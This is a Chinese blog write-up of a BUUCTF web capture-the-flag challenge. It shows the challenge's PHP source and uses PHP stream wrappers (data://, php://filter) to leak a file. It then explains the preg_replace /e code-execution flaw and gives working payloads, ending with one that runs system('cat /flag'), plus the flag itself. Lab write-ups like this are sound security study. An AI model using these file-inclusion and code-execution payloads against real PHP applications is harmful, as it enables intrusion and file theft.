当前位置:网站首页>BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
-
进入环境后得到源码
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
-
使用PHP伪协议构造payload
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
回显
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
base64解密
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
-
这里可以看出cmd参数存在命令执行漏洞,但问题是如何调用getFlag()函数。这里涉及到 preg_replace /e 模式的代码执行漏洞
function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; }
若payload为
/?.*={${phpinfo()}}
则
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); 变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', { ${ phpinfo()}});
注意:正则表达式模式或部分模式两边添加
()
将导致匹配到的字符串存储到临时缓冲区中,缓冲区编号从1开始,最多存储99个子表达式。每个缓冲区都可以用\n
访问,其中n为缓冲区编号。preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
将会把{${phpinfo()}}
存储到缓冲区1,此时匹配后的字符串为/(\\1)/ei
,\\1
即\1
,这将会导致反向引用缓冲区的内容,将其修改为/{${phpinfo()}}/ei
,从而导致命令执行。 -
在本题中,PHP会将传入的非法的
$_GET
数组参数名转化为下划线,即将.*
转化为_
。可以修改payload为?\S*=${getFlag()}&cmd=...
其中
\S
表示匹配任何非空白字符,从而达到我们调用getFlag函数的目的 -
构造payload
?\S*=${getFlag()}&cmd=system('cat /flag');
回显
flag{6b53cc7c-e9e8-47a1-80ed-10ca16c81ae5} system('cat /flag');
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124351859
边栏推荐
- A graphic designer's fantasy world | ones characters
- How does sqlserver insert or update the number of weeks of the day instead of text
- 【微信小程序】z-index失效
- AD20补充笔记3—快捷键+持续更新
- Qt绘制图像
- How to solve the computer system card?
- Lesson 24 analysis of classical problems
- CGC: contractual graph clustering for community detection and tracking
- Idea code quality specification plug-in sonarlint
- NBIOT的AT指令
猜你喜欢
Qt一个进程运行另一个进程
A graphic designer's fantasy world | ones characters
宝塔面板命令行帮助教程(包含重置密码)
电脑系统卡如何解决?
Idea setting copyright information
传统企业如何应对数字化转型?这些书给你答案
Database Navigator 使用默认MySQL连接提示:The server time zone value ‘Öйú±ê׼ʱ¼ä’ is unrecognized or repres
IDEA设置版权信息
A detailed explanation of head pose estimation [collection of good articles]
面了一圈,整理了这套面试题。。
随机推荐
【unity笔记】L4Unity中的基础光照
SQL exercise (I)
QT one process runs another
Metalama简介4.使用Fabric操作项目或命名空间
Qt一个进程运行另一个进程
栈和队列a
How do programmers finalize nucleic acid statistics with 130 lines of code
Next. JS static data generation and server-side rendering
c# 设置logo图标和快捷方式的图标
On using go language to create websocket service
欣旺达宣布电池产品涨价 此前获“蔚小理”投资超10亿
数组---
Fastjson 2 来了,性能继续提升,还能再战十年
IDEA 代码质量规范插件SonarLint
Symmetric encryption, certificate encryption
【Redis 系列】redis 学习十三,Redis 常问简单面试题
C# F23. Stringsimilarity Library: String repeatability, text similarity, anti plagiarism
How to expand the capacity of the server in the 100 million level traffic architecture? Well written!
How to switch PHP version in Windows 2008 system
外包干了五年,废了...